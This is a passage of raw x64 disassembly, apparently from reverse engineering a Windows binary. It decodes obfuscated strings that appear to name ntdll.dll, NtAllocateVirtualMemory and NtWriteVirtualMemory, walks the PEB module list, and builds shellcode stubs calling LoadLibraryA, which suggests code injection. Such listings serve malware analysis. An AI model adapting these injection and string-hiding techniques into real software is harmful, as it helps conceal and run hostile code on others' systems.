jae 0x14003119a
mov r8d, dword [rdi + 0xc]
cmp r9, r8
jb 0x140031191
mov eax, dword [rdi + 8]
add eax, r8d
cmp r9, rax
jb 0x140031205
add rdi, 0x28
cmp rdi, r10
jb 0x14003117d
mov r10, qword [rbp - 8]
mov r9, qword [rbp + 0xbc8]
mov rdi, qword [rbp + 0xe10]
mov rax, rdi
sub rax, qword [r10 + 0x30]
mov qword [rbp - 0x60], rax
je 0x14003bb0e
test byte [r10 + 0x5e], 0x40
je 0x14003bb0e
mov edi, dword [r10 + 0xb0]
movzx edx, word [r10 + 0x14]
add rdx, 0x18
add rdx, r10
movzx eax, word [r10 + 6]
lea rcx, [rax + rax*4]
lea r8, [rdx + rcx*8]
jmp 0x14003b9d0
mov r11d, dword [rdx + 0x14]
sub r11, rcx
add r11, rdi
add r11, qword [rbp + 0xbc8]
xor eax, eax
jmp 0x140031147
mov ecx, dword [rdi + 0x14]
sub rcx, r8
add rcx, r9
mov r9, qword [rbp + 0xbc8]
add rcx, r9
mov qword [rsp + 0x70], rcx
je 0x14003b9ad
mov r8d, dword [r11 + 0x10]
mov edi, dword [rdx + 0xc]
cmp r8, rdi
jb 0x14003123d
mov eax, dword [rdx + 8]
add eax, edi
cmp r8, rax
jb 0x1400314da
add rdx, 0x28
cmp rdx, r10
jb 0x140031227
xor eax, eax
mov qword [rsp + 0x70], rcx
mov qword [rbp + 0xbd8], rax
mov rdx, rcx
lea rcx, [rbp + 0xf40]
call fcn.140043618
mov byte [rbp + 8], reloc.WLDAP32.dll_Ordinal_45
mov edi, 7
mov r9d, edi
xor r8d, r8d
mov dl, 0x61
lea rcx, [rbp + 8]
call fcn.140042e98
mov byte [rbp + 9], al
mov r9d, edi
lea esi, [rdi - 6]
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 8]
call fcn.140042e98
mov byte [rbp + 0xa], al
mov r9d, edi
lea r8d, [rdi - 5]
mov dl, 0x69
lea rcx, [rbp + 8]
call fcn.140042e98
mov byte [rbp + 0xb], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rbp + 8]
call fcn.140042e98
mov byte [rbp + 0xc], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, 0x6d
lea rcx, [rbp + 8]
call fcn.140042e98
mov byte [rbp + 0xd], al
mov r9d, edi
lea r8d, [rdi - 2]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 8]
call fcn.140042e98
mov byte [rbp + 0xe], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rbp + 8]
call fcn.140042e98
mov byte [rbp + 0xf], al
xor eax, eax
mov byte [rbp + 0x10], al
mov edi, eax
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi + 9]
lea rcx, [rbp + 8]
call fcn.140042e98
mov byte [rbp + rdi + 9], al
add rdi, rsi
cmp rdi, 7
jb 0x140031307
mov esi, reloc.WS2_32.dll_sendto
xor eax, eax
mov byte [rbp + 0x10], al
lea rax, [rbp + 0xbe0]
mov qword [rsp + 0x20], rax
lea r9d, [rsi - 0xd]
xor r8d, r8d
lea rdx, [rbp + 0xf40]
lea rcx, [rbp + 0xbf8]
call fcn.140043784
lea rdx, [rbp + 9]
lea rcx, [rbp + 0xbf8]
call fcn.1400440f4
mov dil, al
lea rcx, [rbp + 0xbf8]
call fcn.140043530
test dil, dil
je 0x1400314eb
mov byte [rbp + 0x38], 0x6a
lea edi, [rsi - 8]
mov r9d, edi
xor r8d, r8d
mov dl, 0x75
lea rcx, [rbp + 0x38]
call fcn.14004307c
mov byte [rbp + 0x39], al
mov r9d, edi
lea r12d, [rsi - 0x13]
mov r8d, r12d
mov dl, 0x63
lea rcx, [rbp + 0x38]
call fcn.14004307c
mov byte [rbp + 0x3a], al
mov r9d, edi
lea r8d, [rsi - 0x12]
mov dl, WSAStartup
lea rcx, [rbp + 0x38]
call fcn.14004307c
mov byte [rbp + 0x3b], al
mov r9d, edi
lea r8d, [rsi - 0x11]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x38]
call fcn.14004307c
mov byte [rbp + 0x3c], al
mov r9d, edi
lea r8d, [rsi - 0x10]
mov dl, 0x62
lea rcx, [rbp + 0x38]
call fcn.14004307c
mov byte [rbp + 0x3d], al
mov r9d, edi
lea r8d, [rsi - 0xf]
mov dl, 0x61
lea rcx, [rbp + 0x38]
call fcn.14004307c
mov byte [rbp + 0x3e], al
mov r9d, edi
lea r8d, [rsi - 0xe]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x38]
call fcn.14004307c
mov byte [rbp + 0x3f], al
mov r9d, edi
lea r8d, [rsi - 0xd]
mov dl, 0x65
lea rcx, [rbp + 0x38]
call fcn.14004307c
mov byte [rbp + 0x40], al
mov r9d, edi
lea r8d, [rsi - 0xc]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x38]
call fcn.14004307c
mov byte [rbp + 0x41], al
mov r9d, edi
lea r8d, [rsi - 0xb]
mov dl, 0x64
lea rcx, [rbp + 0x38]
call fcn.14004307c
mov byte [rbp + 0x42], al
mov r9d, edi
lea r8d, [rsi - 0xa]
mov dl, 0x6c
lea rcx, [rbp + 0x38]
call fcn.14004307c
mov byte [rbp + 0x43], al
mov r9d, edi
lea r8d, [rsi - 9]
mov dl, 0x6c
lea rcx, [rbp + 0x38]
call fcn.14004307c
mov byte [rbp + 0x44], al
xor eax, eax
mov byte [rbp + 0x45], al
mov edi, eax
mov r9d, ntohs
mov r8, rdi
mov dl, byte [rbp + rdi + 0x39]
lea rcx, [rbp + 0x38]
call fcn.14004307c
mov byte [rbp + rdi + 0x39], al
add rdi, r12
cmp rdi, 0xc
jb 0x14003148e
xor edi, edi
mov byte [rbp + 0x45], dil
lea rax, [rbp + 0x39]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], dil
jne 0x1400314bf
lea rdx, [rbp + 0x39]
lea rcx, [rbp + 0xf40]
call fcn.14004380c
jmp 0x1400314ed
mov eax, dword [rdx + 0x14]
sub rax, rdi
add rax, r9
add rax, r8
jmp 0x14003124d
xor edi, edi
mov dword [rbp + 0x28238], 0x28ec8348
mov qword [rbp + 0x2823c], 0xb948
mov dword [rbp + 0x28244], 0xb8480000
and qword [rbp + 0x28248], 0
mov dword [rbp + 0x28250], 0xa348d0ff
and qword [rbp + 0x28254], 0
mov dword [rbp + 0x2825c], 0x28c48348
mov byte [rbp + 0x28260], Ordinal_200
mov dword [rbp + 0x28200], 0x28ec8348
mov qword [rbp + 0x28204], 0xba48
mov dword [rbp + 0x2820c], 0xb9480000
and qword [rbp + 0x28210], 0
mov qword [rbp + 0x28218], 0xb848
mov dword [rbp + 0x28220], 0xd0ff0000
mov qword [rbp + 0x28224], 0xa348
mov dword [rbp + 0x2822c], 0x83480000
mov word [rbp + 0x28230], 0x28c4
mov byte [rbp + 0x28232], Ordinal_200
mov qword [rbp + 0xd40], rdi
mov qword [rbp + 0xf08], 0x1000
mov byte [rbp + 0x7d8], Ordinal_27
mov r9, r15
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x7d8]
call fcn.140042d44
mov byte [rbp + 0x7d9], al
mov r9, r15
mov r8d, 1
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x7d8]
call fcn.140042d44
mov byte [rbp + 0x7da], al
mov r9, r15
mov r8d, 2
mov dl, 0x41
lea rcx, [rbp + 0x7d8]
call fcn.140042d44
mov byte [rbp + 0x7db], al
mov r9, r15
mov r8d, 3
mov dl, 0x6c
lea rcx, [rbp + 0x7d8]
call fcn.140042d44
mov byte [rbp + 0x7dc], al
mov r9, r15
mov r8d, 4
mov dl, 0x6c
lea rcx, [rbp + 0x7d8]
call fcn.140042d44
mov byte [rbp + 0x7dd], al
mov r9, r15
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x7d8]
call fcn.140042d44
mov byte [rbp + 0x7de], al
mov r9, r15
mov r8d, 6
mov dl, 0x63
lea rcx, [rbp + 0x7d8]
call fcn.140042d44
mov byte [rbp + 0x7df], al
mov r9, r15
mov r8d, 7
mov dl, 0x61
lea rcx, [rbp + 0x7d8]
call fcn.140042d44
mov byte [rbp + 0x7e0], al
mov r9, r15
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x7d8]
call fcn.140042d44
mov byte [rbp + 0x7e1], al
mov r9, r15
mov r8d, 9
mov dl, 0x65
lea rcx, [rbp + 0x7d8]
call fcn.140042d44
mov byte [rbp + 0x7e2], al
mov r9, r15
mov r8d, 0xa
mov dl, 0x56
lea rcx, [rbp + 0x7d8]
call fcn.140042d44
mov byte [rbp + 0x7e3], al
mov r9, r15
mov r8d, ntohs
mov dl, 0x69
lea rcx, [rbp + 0x7d8]
call fcn.140042d44
mov byte [rbp + 0x7e4], al
mov r9, r15
mov r8d, ntohs
mov dl, WSAStartup
lea rcx, [rbp + 0x7d8]
call fcn.140042d44
mov byte [rbp + 0x7e5], al
mov r9, r15
mov r8d, reloc.WS2_32.dll_listen
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x7d8]
call fcn.140042d44
mov byte [rbp + 0x7e6], al
mov r9, r15
mov r8d, select
mov dl, 0x75
lea rcx, [rbp + 0x7d8]
call fcn.140042d44
mov byte [rbp + 0x7e7], al
mov r9, r15
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x61
lea rcx, [rbp + 0x7d8]
call fcn.140042d44
mov byte [rbp + 0x7e8], al
mov r9, r15
mov r8, r13
mov dl, 0x6c
lea rcx, [rbp + 0x7d8]
call fcn.140042d44
mov byte [rbp + 0x7e9], al
mov r9, r15
mov r8, rbx
mov dl, 0x4d
lea rcx, [rbp + 0x7d8]
call fcn.140042d44
mov byte [rbp + 0x7ea], al
mov r9, r15
mov r8d, reloc.WS2_32.dll_select
mov dl, 0x65
lea rcx, [rbp + 0x7d8]
call fcn.140042d44
mov byte [rbp + 0x7eb], al
mov r9, r15
mov r8d, reloc.WS2_32.dll_send
mov dl, 0x6d
lea rcx, [rbp + 0x7d8]
call fcn.140042d44
mov byte [rbp + 0x7ec], al
mov r9, r15
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x7d8]
call fcn.140042d44
mov byte [rbp + 0x7ed], al
mov r9, r15
mov r8, r14
mov dl, WSAStartup
lea rcx, [rbp + 0x7d8]
call fcn.140042d44
mov byte [rbp + 0x7ee], al
mov r9, r15
mov r8d, reloc.WLDAP32.dll_Ordinal_22
mov dl, 0x79
lea rcx, [rbp + 0x7d8]
call fcn.140042d44
mov byte [rbp + 0x7ef], al
xor eax, eax
mov byte [rbp + 0x7f0], al
lea esi, [rax + 1]
mov r9, r15
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7d9]
lea rcx, [rbp + 0x7d8]
call fcn.140042d44
mov byte [rbp + rdi + 0x7d9], al
add rdi, rsi
cmp rdi, r15
jb 0x140031848
mov esi, reloc.WS2_32.dll_sendto
xor edi, edi
mov byte [rbp + 0x7f0], dil
mov byte [rbp + 0xf8], 7
lea r12d, [rsi - 0xb]
mov r9d, r12d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0xf8]
call fcn.140042908
mov byte [rbp + 0xf9], al
mov r9d, r12d
lea r12d, [rsi - 0x13]
mov r8d, r12d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xf8]
call fcn.140042908
mov byte [rbp + 0xfa], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0x12]
mov dl, 0x64
lea rcx, [rbp + 0xf8]
call fcn.140042908
mov byte [rbp + 0xfb], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0x11]
mov dl, 0x6c
lea rcx, [rbp + 0xf8]
call fcn.140042908
mov byte [rbp + 0xfc], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0x10]
mov dl, 0x6c
lea rcx, [rbp + 0xf8]
call fcn.140042908
mov byte [rbp + 0xfd], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xf]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0xf8]
call fcn.140042908
mov byte [rbp + 0xfe], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xe]
mov dl, 0x64
lea rcx, [rbp + 0xf8]
call fcn.140042908
mov byte [rbp + 0xff], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xd]
mov dl, 0x6c
lea rcx, [rbp + 0xf8]
call fcn.140042908
mov byte [rbp + 0x100], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0xf8]
call fcn.140042908
mov byte [rbp + 0x101], al
xor eax, eax
mov byte [rbp + 0x102], al
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0xf9]
lea rcx, [rbp + 0xf8]
call fcn.140042908
mov byte [rbp + rdi + 0xf9], al
add rdi, r12
cmp rdi, 9
jb 0x14003198d
mov r12d, reloc.WLDAP32.dll_Ordinal_32
xor r9d, r9d
mov byte [rbp + 0x102], r9b
mov rax, qword gs:[0x60]
test rax, rax
je 0x140031af2
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x48], rax
mov rax, qword [rax + 0x40]
mov qword [rbp - 0x78], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x78], ecx
movsxd rcx, eax
inc rcx
call fcn.1400a1b84
mov r9, rax
mov qword [rsp + 0x68], rax
xor ecx, ecx
mov r8d, ecx
movsxd r10, dword [rsp + 0x60]
test r10d, r10d
jle 0x140031a70
lea ebx, [rcx + 1]
mov r11d, ebx
mov rdx, qword [rsp + 0x70]
mov r12, qword [rbp - 0x78]
mov ecx, r11d
cmp word [r12 + r8*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r12 + r8*2]
mov byte [r9 + r8], al
add r11d, ebx
add r8, rbx
cmp r8, r10
jl 0x140031a39
mov ebx, reloc.WS2_32.dll_recvfrom
lea r12d, [rbx + 0xf]
lea r13d, [rbx - 1]
mov dword [rsp + 0x78], ecx
mov qword [rsp + 0x70], rdx
sub r10d, edi
movsxd rdi, r10d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400c9110
mov rcx, qword [rsp + 0x68]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rbp - 0x78], r10
je 0x140031acc
mov rax, rcx
lea r9, [rbp + 0xf9]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140031ac5
add rax, r11
test edx, edx
jne 0x140031ab0
test r8d, r8d
cmove edi, r11d
call fcn.1400a1900
xor r9d, r9d
test dil, dil
jne 0x140032f07
mov rax, qword [rbp - 0x48]
mov rax, qword [rax]
mov qword [rbp - 0x48], rax
cmp rax, qword [rbp - 0x80]
jne 0x1400319eb
mov rax, qword [rbp + 0xd40]
mov qword [rbp + 0xbd0], rax
mov qword [rbp + 0xd48], r9
mov qword [rbp + 0xf18], 0x1000
mov byte [rbp + 0x718], Ordinal_27
mov r9, r15
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x718]
call fcn.140042d44
mov byte [rbp + 0x719], al
mov r9, r15
mov r8d, 1
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x718]
call fcn.140042d44
mov byte [rbp + 0x71a], al
mov r9, r15
mov r8d, 2
mov dl, 0x41
lea rcx, [rbp + 0x718]
call fcn.140042d44
mov byte [rbp + 0x71b], al
mov r9, r15
mov r8d, 3
mov dl, 0x6c
lea rcx, [rbp + 0x718]
call fcn.140042d44
mov byte [rbp + 0x71c], al
mov r9, r15
mov r8d, 4
mov dl, 0x6c
lea rcx, [rbp + 0x718]
call fcn.140042d44
mov byte [rbp + 0x71d], al
mov r9, r15
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x718]
call fcn.140042d44
mov byte [rbp + 0x71e], al
mov r9, r15
mov r8d, 6
mov dl, 0x63
lea rcx, [rbp + 0x718]
call fcn.140042d44
mov byte [rbp + 0x71f], al
mov r9, r15
mov r8d, 7
mov dl, 0x61
lea rcx, [rbp + 0x718]
call fcn.140042d44
mov byte [rbp + 0x720], al
mov r9, r15
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x718]
call fcn.140042d44
mov byte [rbp + 0x721], al
mov r9, r15
mov r8d, 9
mov dl, 0x65
lea rcx, [rbp + 0x718]
call fcn.140042d44
mov byte [rbp + 0x722], al
mov r9, r15
mov r8d, 0xa
mov dl, 0x56
lea rcx, [rbp + 0x718]
call fcn.140042d44
mov byte [rbp + 0x723], al
mov r9, r15
mov r8d, ntohs
mov dl, 0x69
lea rcx, [rbp + 0x718]
call fcn.140042d44
mov byte [rbp + 0x724], al
mov r9, r15
mov r8d, ntohs
mov dl, WSAStartup
lea rcx, [rbp + 0x718]
call fcn.140042d44
mov byte [rbp + 0x725], al
mov r9, r15
mov r8d, reloc.WS2_32.dll_listen
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x718]
call fcn.140042d44
mov byte [rbp + 0x726], al
mov r9, r15
mov r8d, select
mov dl, 0x75
lea rcx, [rbp + 0x718]
call fcn.140042d44
mov byte [rbp + 0x727], al
mov r9, r15
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x61
lea rcx, [rbp + 0x718]
call fcn.140042d44
mov byte [rbp + 0x728], al
mov r9, r15
mov r8, r13
mov dl, 0x6c
lea rcx, [rbp + 0x718]
call fcn.140042d44
mov byte [rbp + 0x729], al
mov r9, r15
mov r8, rbx
mov dl, 0x4d
lea rcx, [rbp + 0x718]
call fcn.140042d44
mov byte [rbp + 0x72a], al
mov r9, r15
mov r8d, reloc.WS2_32.dll_select
mov dl, 0x65
lea rcx, [rbp + 0x718]
call fcn.140042d44
mov byte [rbp + 0x72b], al
mov r9, r15
mov r8d, reloc.WS2_32.dll_send
mov dl, 0x6d
lea rcx, [rbp + 0x718]
call fcn.140042d44
mov byte [rbp + 0x72c], al
mov r9, r15
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x718]
call fcn.140042d44
mov byte [rbp + 0x72d], al
mov r9, r15
mov r8, r14
mov dl, WSAStartup
lea rcx, [rbp + 0x718]
call fcn.140042d44
mov byte [rbp + 0x72e], al
mov r9, r15
mov r8d, reloc.WLDAP32.dll_Ordinal_22
mov dl, 0x79
lea rcx, [rbp + 0x718]
call fcn.140042d44
mov byte [rbp + 0x72f], al
xor eax, eax
mov byte [rbp + 0x730], al
mov edi, eax
lea esi, [rax + 1]
mov r9, r15
mov r8, rdi
mov dl, byte [rbp + rdi + 0x719]
lea rcx, [rbp + 0x718]
call fcn.140042d44
mov byte [rbp + rdi + 0x719], al
add rdi, rsi
cmp rdi, r15
jb 0x140031db2
mov esi, reloc.WS2_32.dll_sendto
xor edi, edi
mov byte [rbp + 0x730], dil
mov byte [rbp + 0xe8], 7
lea r12d, [rsi - 0xb]
mov r9d, r12d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0xe8]
call fcn.140042908
mov byte [rbp + 0xe9], al
mov r9d, r12d
lea r12d, [rsi - 0x13]
mov r8d, r12d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xe8]
call fcn.140042908
mov byte [rbp + 0xea], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0x12]
mov dl, 0x64
lea rcx, [rbp + 0xe8]
call fcn.140042908
mov byte [rbp + 0xeb], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0x11]
mov dl, 0x6c
lea rcx, [rbp + 0xe8]
call fcn.140042908
mov byte [rbp + 0xec], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0x10]
mov dl, 0x6c
lea rcx, [rbp + 0xe8]
call fcn.140042908
mov byte [rbp + 0xed], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xf]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0xe8]
call fcn.140042908
mov byte [rbp + 0xee], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xe]
mov dl, 0x64
lea rcx, [rbp + 0xe8]
call fcn.140042908
mov byte [rbp + 0xef], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xd]
mov dl, 0x6c
lea rcx, [rbp + 0xe8]
call fcn.140042908
mov byte [rbp + 0xf0], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0xe8]
call fcn.140042908
mov byte [rbp + 0xf1], al
xor eax, eax
mov byte [rbp + 0xf2], al
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0xe9]
lea rcx, [rbp + 0xe8]
call fcn.140042908
mov byte [rbp + rdi + 0xe9], al
add rdi, r12
cmp rdi, 9
jb 0x140031ef7
mov r12d, reloc.WLDAP32.dll_Ordinal_32
xor r9d, r9d
mov byte [rbp + 0xf2], r9b
mov rax, qword gs:[0x60]
test rax, rax
je 0x140032058
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x48], rax
mov rax, qword [rax + 0x40]
mov qword [rbp - 0x78], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x78], ecx
movsxd rcx, eax
inc rcx
call fcn.1400a1b84
mov r9, rax
mov qword [rsp + 0x68], rax
xor ecx, ecx
mov r8d, ecx
movsxd r10, dword [rsp + 0x60]
test r10d, r10d
jle 0x140031fd6
lea ebx, [rcx + 1]
mov r11d, ebx
mov rdx, qword [rsp + 0x70]
mov r15, qword [rbp - 0x78]
mov ecx, r11d
cmp word [r15 + r8*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r15 + r8*2]
mov byte [r9 + r8], al
add r11d, ebx
add r8, rbx
cmp r8, r10
jl 0x140031fa3
mov ebx, reloc.WS2_32.dll_recvfrom
lea r13d, [rbx - 1]
mov dword [rsp + 0x78], ecx
mov qword [rsp + 0x70], rdx
sub r10d, edi
movsxd rdi, r10d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400c9110
mov rcx, qword [rsp + 0x68]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rbp - 0x78], r10
je 0x140032032
mov rax, rcx
lea r9, [rbp + 0xe9]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14003202b
add rax, r11
test edx, edx
jne 0x140032016
test r8d, r8d
cmove edi, r11d
call fcn.1400a1900
xor r9d, r9d
test dil, dil
jne 0x14003316e
mov rax, qword [rbp - 0x48]
mov rax, qword [rax]
mov qword [rbp - 0x48], rax
cmp rax, qword [rbp - 0x80]
jne 0x140031f55
mov rax, qword [rbp + 0xd48]
mov qword [rbp - 0x48], rax
mov rcx, qword [rbp + 0xbd0]
mov qword [rbp + 0x2823e], rcx
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rbp + 0x28248], rax
lea rax, [rcx + 0x500]
mov qword [rbp - 0x78], rax
mov qword [rbp + 0x28254], rax
mov rax, qword [rbp + 0xf50]
mov qword [rbp - 0x70], rax
lea rcx, [rbp + 0xf40]
call fcn.140043374
mov qword [rbp - 0x60], rax
mov byte [rbp + 0x6b0], 0x48
mov r9, rsi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x6b0]
call fcn.1400430f8
mov byte [rbp + 0x6b1], al
mov r9, rsi
mov r8d, 1
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x6b0]
call fcn.1400430f8
mov byte [rbp + 0x6b2], al
mov r9, rsi
mov r8d, 2
mov dl, 0x57
lea rcx, [rbp + 0x6b0]
call fcn.1400430f8
mov byte [rbp + 0x6b3], al
mov r9, rsi
mov r8d, 3
mov dl, WSAStartup
lea rcx, [rbp + 0x6b0]
call fcn.1400430f8
mov byte [rbp + 0x6b4], al
mov r9, rsi
mov r8d, 4
mov dl, 0x69
lea rcx, [rbp + 0x6b0]
call fcn.1400430f8
mov byte [rbp + 0x6b5], al
mov r9, rsi
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x6b0]
call fcn.1400430f8
mov byte [rbp + 0x6b6], al
mov r9, rsi
mov r8d, 6
mov dl, 0x65
lea rcx, [rbp + 0x6b0]
call fcn.1400430f8
mov byte [rbp + 0x6b7], al
mov r9, rsi
mov r8d, 7
mov dl, 0x56
lea rcx, [rbp + 0x6b0]
call fcn.1400430f8
mov byte [rbp + 0x6b8], al
mov r9, rsi
mov r8d, 8
mov dl, 0x69
lea rcx, [rbp + 0x6b0]
call fcn.1400430f8
mov byte [rbp + 0x6b9], al
mov r9, rsi
mov r8d, 9
mov dl, WSAStartup
lea rcx, [rbp + 0x6b0]
call fcn.1400430f8
mov byte [rbp + 0x6ba], al
mov r9, rsi
mov r8d, 0xa
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x6b0]
call fcn.1400430f8
mov byte [rbp + 0x6bb], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x75
lea rcx, [rbp + 0x6b0]
call fcn.1400430f8
mov byte [rbp + 0x6bc], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x6b0]
call fcn.1400430f8
mov byte [rbp + 0x6bd], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0x6b0]
call fcn.1400430f8
mov byte [rbp + 0x6be], al
mov r9, rsi
mov r8d, select
mov dl, 0x4d
lea rcx, [rbp + 0x6b0]
call fcn.1400430f8
mov byte [rbp + 0x6bf], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x65
lea rcx, [rbp + 0x6b0]
call fcn.1400430f8
mov byte [rbp + 0x6c0], al
mov r9, rsi
mov r8, r13
mov dl, 0x6d
lea rcx, [rbp + 0x6b0]
call fcn.1400430f8
mov byte [rbp + 0x6c1], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x6b0]
call fcn.1400430f8
mov byte [rbp + 0x6c2], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_select
mov dl, WSAStartup
lea rcx, [rbp + 0x6b0]
call fcn.1400430f8
mov byte [rbp + 0x6c3], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_send
mov dl, 0x79
lea rcx, [rbp + 0x6b0]
call fcn.1400430f8
mov byte [rbp + 0x6c4], al
xor eax, eax
mov byte [rbp + 0x6c5], al
mov edi, eax
lea ebx, [rax + 1]
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x6b1]
lea rcx, [rbp + 0x6b0]
call fcn.1400430f8
mov byte [rbp + rdi + 0x6b1], al
add rdi, rbx
cmp rdi, rsi
jb 0x1400322fb
mov ebx, reloc.WS2_32.dll_recvfrom
xor edi, edi
mov byte [rbp + 0x6c5], dil
mov byte [rbp + 0xd8], reloc.WLDAP32.dll_Ordinal_46
lea r15d, [rbx - 8]
mov r9d, r15d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0xd8]
call fcn.140042908
mov byte [rbp + 0xd9], al
mov r9d, r15d
lea r15d, [rbx - 0x10]
mov r8d, r15d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xd8]
call fcn.140042908
mov byte [rbp + 0xda], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xf]
mov dl, 0x64
lea rcx, [rbp + 0xd8]
call fcn.140042908
mov byte [rbp + 0xdb], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xe]
mov dl, 0x6c
lea rcx, [rbp + 0xd8]
call fcn.140042908
mov byte [rbp + 0xdc], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xd]
mov dl, 0x6c
lea rcx, [rbp + 0xd8]
call fcn.140042908
mov byte [rbp + 0xdd], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xc]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0xd8]
call fcn.140042908
mov byte [rbp + 0xde], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xb]
mov dl, 0x64
lea rcx, [rbp + 0xd8]
call fcn.140042908
mov byte [rbp + 0xdf], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xa]
mov dl, 0x6c
lea rcx, [rbp + 0xd8]
call fcn.140042908
mov byte [rbp + 0xe0], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 9]
mov dl, 0x6c
lea rcx, [rbp + 0xd8]
call fcn.140042908
mov byte [rbp + 0xe1], al
xor eax, eax
mov byte [rbp + 0xe2], al
mov r9d, 9
mov r8, rdi
